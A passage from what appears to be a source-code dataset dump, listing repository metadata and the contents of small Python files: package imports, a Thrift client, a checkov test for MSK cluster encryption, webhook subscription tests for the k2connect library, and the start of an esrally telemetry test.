| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
5a0d63ac9c1fe0144e64e5310e58d99c09eee85e
| 294
|
py
|
Python
|
end2you/data_provider/__init__.py
|
mauricege/end2you
|
0d0c731e210410a1a5b561a747dbea5b0b53639d
|
[
"BSD-3-Clause"
] | null | null | null |
end2you/data_provider/__init__.py
|
mauricege/end2you
|
0d0c731e210410a1a5b561a747dbea5b0b53639d
|
[
"BSD-3-Clause"
] | null | null | null |
end2you/data_provider/__init__.py
|
mauricege/end2you
|
0d0c731e210410a1a5b561a747dbea5b0b53639d
|
[
"BSD-3-Clause"
] | null | null | null |
from .audio_provider import AudioProvider
from .visual_provider import VisualProvider
from .provider import BaseProvider
from .multifile_audiovisual_provider import MultiFile_AVProvider
from .singlefile_audiovisual_provider import SingleFile_AVProvider
from .get_provider import get_dataloader
| 42
| 66
| 0.897959
| 34
| 294
| 7.470588
| 0.411765
| 0.330709
| 0.19685
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081633
| 294
| 6
| 67
| 49
| 0.940741
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
5a18a20233ae5d4644d6af2deca2854e3e9ee91b
| 47
|
py
|
Python
|
memdem/__init__.py
|
underchemist/memdem
|
7ab86bf1ef3083529407c62790b2e39108e1120a
|
[
"MIT"
] | null | null | null |
memdem/__init__.py
|
underchemist/memdem
|
7ab86bf1ef3083529407c62790b2e39108e1120a
|
[
"MIT"
] | 1
|
2021-07-12T04:06:01.000Z
|
2021-07-12T04:06:01.000Z
|
memdem/__init__.py
|
underchemist/memdem
|
7ab86bf1ef3083529407c62790b2e39108e1120a
|
[
"MIT"
] | null | null | null |
from . import vrt
from .memdem import DEMTiles
| 15.666667
| 28
| 0.787234
| 7
| 47
| 5.285714
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.170213
| 47
| 2
| 29
| 23.5
| 0.948718
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
5a7a22ceee3912d5cf28a6053814c8c6d8c62e63
| 25
|
py
|
Python
|
jakso_ml/tensorflow/training_data/__init__.py
|
JaksoSoftware/jakso-ml
|
5720ea557ca2fcf9ae16e329c198acd8e31258c4
|
[
"MIT"
] | 3
|
2019-07-24T08:12:12.000Z
|
2021-09-20T13:01:34.000Z
|
pysamiterators/__init__.py
|
BuysDB/pysamiterators
|
b00d7ca0cf5795776e9d83b8a1c6ecc0e94aaa7d
|
[
"MIT"
] | 3
|
2020-09-25T18:40:52.000Z
|
2021-08-25T14:44:30.000Z
|
jakso_ml/tensorflow/training_data/__init__.py
|
JaksoSoftware/jakso-ml
|
5720ea557ca2fcf9ae16e329c198acd8e31258c4
|
[
"MIT"
] | 1
|
2021-05-27T11:46:54.000Z
|
2021-05-27T11:46:54.000Z
|
from .iterators import *
| 12.5
| 24
| 0.76
| 3
| 25
| 6.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16
| 25
| 1
| 25
| 25
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
ceacc6af1ca867f3ffcc7847d5acabc1018b677d
| 172
|
py
|
Python
|
guitarHarmony/register.py
|
fuyuan-li/Guitar-Harmony
|
8cd836782bb19cbf39ce4a4722ea52d7988b2cc4
|
[
"MIT"
] | 5
|
2020-03-15T19:09:59.000Z
|
2021-02-26T03:32:38.000Z
|
guitarHarmony/register.py
|
fuyuan-li/Guitar-Harmony
|
8cd836782bb19cbf39ce4a4722ea52d7988b2cc4
|
[
"MIT"
] | 1
|
2020-03-30T06:46:17.000Z
|
2020-03-30T06:46:17.000Z
|
guitarHarmony/register.py
|
fuyuan-li/Guitar-Harmony
|
8cd836782bb19cbf39ce4a4722ea52d7988b2cc4
|
[
"MIT"
] | 1
|
2020-03-30T05:59:24.000Z
|
2020-03-30T05:59:24.000Z
|
# -*- coding: utf-8 -*-
# @Author: Xi He
# @Date: 2020-03-21 12:34:40
# @Last Modified by: Xi He
# @Last Modified time: 2020-03-21 12:36:06
from .helper import CONSTANT
| 28.666667
| 42
| 0.639535
| 31
| 172
| 3.548387
| 0.741935
| 0.072727
| 0.145455
| 0.181818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.207143
| 0.186047
| 172
| 6
| 43
| 28.666667
| 0.578571
| 0.773256
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
cecf34df7294c70c122062c9298e12ebda9b17a6
| 159
|
py
|
Python
|
migrations/905-exclude-new-region-taiwan.py
|
mstriemer/zamboni
|
32f95899492d51e78caaf9a08caa28fcfcb2c172
|
[
"BSD-3-Clause"
] | null | null | null |
migrations/905-exclude-new-region-taiwan.py
|
mstriemer/zamboni
|
32f95899492d51e78caaf9a08caa28fcfcb2c172
|
[
"BSD-3-Clause"
] | null | null | null |
migrations/905-exclude-new-region-taiwan.py
|
mstriemer/zamboni
|
32f95899492d51e78caaf9a08caa28fcfcb2c172
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python
from mkt.constants import regions
from mkt.developers.cron import exclude_new_region
def run():
exclude_new_region([regions.TWN])
| 17.666667
| 50
| 0.773585
| 24
| 159
| 4.958333
| 0.708333
| 0.117647
| 0.268908
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125786
| 159
| 8
| 51
| 19.875
| 0.856115
| 0.125786
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
cecfd9591d1b7ce31f2b64233930dfd3d6fa5f1c
| 324
|
py
|
Python
|
src/phantasyfootballer/pipelines/full_pipeline.py
|
MLDERES/phantasyfootballer
|
785a5d5efea3b627f3c2cf1f390545f671525743
|
[
"Apache-2.0"
] | 1
|
2020-08-20T01:15:50.000Z
|
2020-08-20T01:15:50.000Z
|
src/phantasyfootballer/pipelines/full_pipeline.py
|
MLDERES/phantasyfootballer
|
785a5d5efea3b627f3c2cf1f390545f671525743
|
[
"Apache-2.0"
] | 22
|
2020-08-18T23:21:25.000Z
|
2021-09-13T21:09:54.000Z
|
src/phantasyfootballer/pipelines/full_pipeline.py
|
MLDERES/phantasyfootballer
|
785a5d5efea3b627f3c2cf1f390545f671525743
|
[
"Apache-2.0"
] | null | null | null |
from kedro.pipeline import Pipeline
from phantasyfootballer.pipelines import data_engineering as de
def create_full_pipeline():
# TODO: this will be the full pipeline from getting data, to preparing the data, to setting up the features and finally executing the predictors
return Pipeline([de.create_pipeline()])
| 36
| 148
| 0.796296
| 46
| 324
| 5.521739
| 0.630435
| 0.094488
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154321
| 324
| 8
| 149
| 40.5
| 0.927007
| 0.438272
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0.25
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
|
0
| 6
|
0c86a3f85341f1a34ecd919bf697f46b5f5f570f
| 2,695
|
py
|
Python
|
thrift/compiler/test/fixtures/namespace/gen-py3lite/my/namespacing/extend/test/extend/lite_clients.py
|
killight98/fbthrift
|
c28d5036f96f7eab67c30abadc5ddbe627a11ee3
|
[
"Apache-2.0"
] | 2,112
|
2015-01-02T11:34:27.000Z
|
2022-03-31T16:30:42.000Z
|
thrift/compiler/test/fixtures/namespace/gen-py3lite/my/namespacing/extend/test/extend/lite_clients.py
|
killight98/fbthrift
|
c28d5036f96f7eab67c30abadc5ddbe627a11ee3
|
[
"Apache-2.0"
] | 372
|
2015-01-05T10:40:09.000Z
|
2022-03-31T20:45:11.000Z
|
thrift/compiler/test/fixtures/namespace/gen-py3lite/my/namespacing/extend/test/extend/lite_clients.py
|
killight98/fbthrift
|
c28d5036f96f7eab67c30abadc5ddbe627a11ee3
|
[
"Apache-2.0"
] | 582
|
2015-01-03T01:51:56.000Z
|
2022-03-31T02:01:09.000Z
|
#
# Autogenerated by Thrift
#
# DO NOT EDIT
# @generated
#
import typing as _typing
import folly.iobuf as _fbthrift_iobuf
from thrift.py3lite.client import (
AsyncClient as _fbthrift_py3lite_AsyncClient,
SyncClient as _fbthrift_py3lite_SyncClient,
Client as _fbthrift_py3lite_Client,
)
import thrift.py3lite.exceptions as _fbthrift_py3lite_exceptions
import thrift.py3lite.types as _fbthrift_py3lite_types
import py3lite_module_root.my.namespacing.extend.test.extend.lite_types
import py3lite_module_root.my.namespacing.test.hsmodule.lite_types
import py3lite_module_root.my.namespacing.test.hsmodule.lite_clients
class ExtendTestService(_fbthrift_py3lite_Client["ExtendTestService.Async", "ExtendTestService.Sync"]):
class Async(py3lite_module_root.my.namespacing.test.hsmodule.lite_clients.HsTestService.Async):
async def check(
self,
struct1: py3lite_module_root.my.namespacing.test.hsmodule.lite_types.HsFoo
) -> bool:
resp = await self._send_request(
"ExtendTestService",
"check",
py3lite_module_root.my.namespacing.extend.test.extend.lite_types._fbthrift_ExtendTestService_check_args(
struct1=struct1,),
py3lite_module_root.my.namespacing.extend.test.extend.lite_types._fbthrift_ExtendTestService_check_result,
)
# shortcut to success path for non-void returns
if resp.success is not None:
return resp.success
raise _fbthrift_py3lite_exceptions.ApplicationError(
_fbthrift_py3lite_exceptions.ApplicationErrorType.MISSING_RESULT,
"Empty Response",
)
class Sync(py3lite_module_root.my.namespacing.test.hsmodule.lite_clients.HsTestService.Sync):
def check(
self,
struct1: py3lite_module_root.my.namespacing.test.hsmodule.lite_types.HsFoo
) -> bool:
resp = self._send_request(
"ExtendTestService",
"check",
py3lite_module_root.my.namespacing.extend.test.extend.lite_types._fbthrift_ExtendTestService_check_args(
struct1=struct1,),
py3lite_module_root.my.namespacing.extend.test.extend.lite_types._fbthrift_ExtendTestService_check_result,
)
# shortcut to success path for non-void returns
if resp.success is not None:
return resp.success
raise _fbthrift_py3lite_exceptions.ApplicationError(
_fbthrift_py3lite_exceptions.ApplicationErrorType.MISSING_RESULT,
"Empty Response",
)
| 40.833333
| 122
| 0.69128
| 283
| 2,695
| 6.272085
| 0.226148
| 0.080563
| 0.105352
| 0.117746
| 0.749296
| 0.749296
| 0.749296
| 0.743099
| 0.743099
| 0.739155
| 0
| 0.014677
| 0.241558
| 2,695
| 65
| 123
| 41.461538
| 0.853718
| 0.051577
| 0
| 0.530612
| 1
| 0
| 0.045973
| 0.017682
| 0
| 0
| 0
| 0
| 0
| 1
| 0.020408
| false
| 0
| 0.163265
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0cfd554024443697bf47f1e4b25f33df3f4d5889
| 3,820
|
py
|
Python
|
tests/terraform/checks/resource/aws/test_MSKClusterEncryption.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 4,013
|
2019-12-09T13:16:54.000Z
|
2022-03-31T14:31:01.000Z
|
tests/terraform/checks/resource/aws/test_MSKClusterEncryption.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 1,258
|
2019-12-17T09:55:51.000Z
|
2022-03-31T19:17:17.000Z
|
tests/terraform/checks/resource/aws/test_MSKClusterEncryption.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 638
|
2019-12-19T08:57:38.000Z
|
2022-03-30T21:38:37.000Z
|
import unittest
from checkov.common.models.enums import CheckResult
from checkov.terraform.checks.resource.aws.MSKClusterEncryption import check
class TestMSKClusterEncryption(unittest.TestCase):
def test_failure(self):
resource_conf = {
"name": "test-project",
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure_non_tls(self):
resource_conf = {
"name": "test-project",
"encryption_info": [
{
"encryption_at_rest_kms_key_arn": "aws_kms_key.kms.arn",
"encryption_in_transit": [
{
"client_broker": ["PLAINTEXT"],
"in_cluster": ["true"],
}
],
}
],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure_in_cluster(self):
resource_conf = {
"name": "test-project",
"encryption_info": [
{
"encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"],
"encryption_in_transit": [
{
"client_broker": ["TLS"],
"in_cluster": [False],
}
],
}
],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_success(self):
resource_conf = {
"name": "test-project",
"encryption_info": [
{
"encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"],
"encryption_in_transit": [
{
"client_broker": ["TLS"],
"in_cluster": ["true"],
}
],
}
],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
def test_success_no_encrypt_block(self):
resource_conf = {
"name": "test-project",
"encryption_info": [
{
"encryption_at_rest_kms_key_arn": ["aws_kms_key.kms.arn"],
}
],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
# Regression test for https://github.com/bridgecrewio/checkov/issues/747
def test_success_no_encryption_at_rest_kms_key_arn_specified(self):
resource_conf = {
"name": "test-project",
"encryption_info": [{}],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
# Regression test for https://github.com/bridgecrewio/checkov/issues/747
def test_success_encryption_in_transit_and_no_encryption_at_rest_kms_key_arn_specified(self):
resource_conf = {
"name": "test-project",
"encryption_info": [
{
"encryption_in_transit": [
{
"client_broker": ["TLS"],
"in_cluster": [True],
}
],
}
],
}
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
if __name__ == '__main__':
unittest.main()
| 34.107143
| 97
| 0.509424
| 334
| 3,820
| 5.42515
| 0.185629
| 0.139073
| 0.06181
| 0.077263
| 0.849338
| 0.837748
| 0.82064
| 0.82064
| 0.82064
| 0.82064
| 0
| 0.002583
| 0.391885
| 3,820
| 111
| 98
| 34.414414
| 0.777443
| 0.036911
| 0
| 0.556701
| 0
| 0
| 0.165397
| 0.055495
| 0
| 0
| 0
| 0
| 0.072165
| 1
| 0.072165
| false
| 0.041237
| 0.030928
| 0
| 0.113402
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0b4e8019be426a472dc2c32df745aa56d8c18b2b
| 12,891
|
py
|
Python
|
tests/test_webhooks.py
|
DavidKar1uk1/k2-connect-python
|
5185329ae07686be9d517df60cfc2ed0b93a7579
|
[
"MIT"
] | 1
|
2020-07-20T11:26:48.000Z
|
2020-07-20T11:26:48.000Z
|
tests/test_webhooks.py
|
DavidKar1uk1/k2-connect-python
|
5185329ae07686be9d517df60cfc2ed0b93a7579
|
[
"MIT"
] | null | null | null |
tests/test_webhooks.py
|
DavidKar1uk1/k2-connect-python
|
5185329ae07686be9d517df60cfc2ed0b93a7579
|
[
"MIT"
] | 3
|
2019-02-04T08:02:50.000Z
|
2020-01-23T17:59:25.000Z
|
import requests
import unittest
from urlvalidator import URLValidator
from k2connect import webhooks, authorization, json_builder, exceptions, validation
from k2connect.exceptions import InvalidArgumentError
from tests import SAMPLE_BASE_URL, SAMPLE_WEBHOOK_SECRET, SAMPLE_CLIENT_ID, SAMPLE_CLIENT_SECRET
class WebhooksTestCase(unittest.TestCase):
# Establish environment
validate = URLValidator()
token_service = authorization.TokenService(SAMPLE_BASE_URL, SAMPLE_CLIENT_ID, SAMPLE_CLIENT_SECRET)
access_token_request = token_service.request_access_token()
ACCESS_TOKEN = token_service.get_access_token(access_token_request)
webhook_obj = webhooks.WebhookService(base_url=SAMPLE_BASE_URL)
header = dict(webhook_obj._headers)
header['Authorization'] = 'Bearer ' + ACCESS_TOKEN
def test_init_method_with_base_url_argument_succeeds(self):
webhook_service = webhooks.WebhookService(base_url=SAMPLE_BASE_URL)
self.assertIsInstance(webhook_service, webhooks.WebhookService)
# Test Request Status
def test_create_buygoods_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("buygoods_transaction_received",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'till', '112233'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
def test_create_b2b_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("b2b_transaction_received",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'till', '112233'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
def test_create_buygoods_reversal_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("buygoods_transaction_reversed",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'till', '112233'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
def test_create_customer_created_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("customer_created",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'company'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
def test_create_settlement_transfer_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("settlement_transfer_completed",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'company'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
def test_create_m2m_transaction_received_webhook_subscription_request_succeeds(self):
response = requests.post(
headers=WebhooksTestCase.header,
json=json_builder.webhook_subscription("m2m_transaction_received",
"https://webhook.site/dcbdce14-dd4f-4493-be2c-ad3526354fa8",
'company'),
data=None,
url=WebhooksTestCase.webhook_obj._build_url(webhooks.WEBHOOK_SUBSCRIPTION_PATH),)
self.assertEqual(response.status_code, 201)
# Test that module successfully creates and sends the request
def test_create_buygoods_webhook_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'buygoods_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
def test_create_b2b_webhook_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'b2b_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
def test_create_buygoods_reversal_webhook_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'buygoods_transaction_reversed',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
def test_create_customer_created_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'customer_created',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
def test_create_settlement_transfer_webhook_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'settlement_transfer_completed',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
def test_create_m2m_transaction_received_webhook_succeeds(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'm2m_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
self.assertIsNotNone(webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload))
# Test it returns the resource_url
def test_buygoods_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'buygoods_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
def test_b2b_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'b2b_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
def test_buygoods_reversal_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'buygoods_transaction_reversed',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
def test_customer_created_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'customer_created',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
def test_settlement_transfer_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'settlement_transfer_completed',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
def test_m2m_webhook_subscription_returns_resource_url(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'm2m_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
response = webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
self.assertIsNone(WebhooksTestCase.validate(response))
# Test Failure scenarios
def test_create_invalid_webhook_fails(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'settlement',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"webhook_secret": SAMPLE_WEBHOOK_SECRET,
"scope": 'Till',
"scope_reference": '112233'
}
with self.assertRaises(InvalidArgumentError):
webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
def test_create_invalid_till_scope_webhook_fails(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'b2b_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'company'
}
with self.assertRaisesRegex(InvalidArgumentError, "Invalid scope for given event type."):
webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
def test_create_till_scope_webhook_with_no_scope_reference_fails(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'b2b_transaction_received',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till'
}
with self.assertRaisesRegex(InvalidArgumentError, 'Scope reference not given.'):
webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
def test_create_invalid_company_scope_webhook_fails(self):
test_payload = {
"access_token": WebhooksTestCase.ACCESS_TOKEN,
"event_type": 'settlement_transfer_completed',
"webhook_endpoint": 'https://webhook.site/52fd1913-778e-4ee1-bdc4-74517abb758d',
"scope": 'till',
"scope_reference": '112233'
}
with self.assertRaisesRegex(InvalidArgumentError, "Invalid scope for given event type."):
webhooks.WebhookService(base_url=SAMPLE_BASE_URL).create_subscription(test_payload)
| 51.154762
| 113
| 0.673959
| 1,253
| 12,891
| 6.584198
| 0.09178
| 0.033091
| 0.042667
| 0.063273
| 0.868
| 0.858545
| 0.842545
| 0.822545
| 0.822545
| 0.822545
| 0
| 0.052221
| 0.233496
| 12,891
| 251
| 114
| 51.358566
| 0.782714
| 0.012179
| 0
| 0.692661
| 0
| 0
| 0.229101
| 0.037869
| 0
| 0
| 0
| 0
| 0.105505
| 1
| 0.105505
| false
| 0
| 0.027523
| 0
| 0.165138
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0b6e37a70ecc9f9098c1ccac1c7d335fb8de79b3
| 59,868
|
py
|
Python
|
tests/mechanic/telemetry_test.py
|
paulcoghlan/rally
|
76f82265814836565ccf53edda3d5426e4c2db8a
|
[
"Apache-2.0"
] | null | null | null |
tests/mechanic/telemetry_test.py
|
paulcoghlan/rally
|
76f82265814836565ccf53edda3d5426e4c2db8a
|
[
"Apache-2.0"
] | null | null | null |
tests/mechanic/telemetry_test.py
|
paulcoghlan/rally
|
76f82265814836565ccf53edda3d5426e4c2db8a
|
[
"Apache-2.0"
] | null | null | null |
import random
import collections
import unittest.mock as mock
from unittest import TestCase
from esrally import config, metrics, exceptions
from esrally.mechanic import telemetry, team, cluster
def create_config():
cfg = config.Config()
cfg.add(config.Scope.application, "system", "env.name", "unittest")
